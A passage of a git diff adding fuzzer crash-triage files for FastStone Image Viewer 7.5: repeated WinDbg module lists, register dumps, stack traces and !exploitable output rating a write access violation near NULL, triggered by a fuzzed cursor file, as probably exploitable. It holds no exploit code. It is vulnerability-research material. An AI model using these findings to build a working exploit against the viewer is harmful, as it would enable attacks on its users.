00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(13ec.1a70): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f97b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.774824048985130080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.506110000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.81247e-028 -191.302 -1.19099e+030 2.89941e-034 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08078130 07ff5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023e000 0eef1a27 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..702a041 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49136/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..666351f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1bd8.1668): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0f7a2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.10744e-026 -2.05415e-019 -1.09522e+025 4.17592e+013 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00279000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00279000 cfec6491 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00279000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..666351f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50339/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1bd8.1668): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0f7a2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 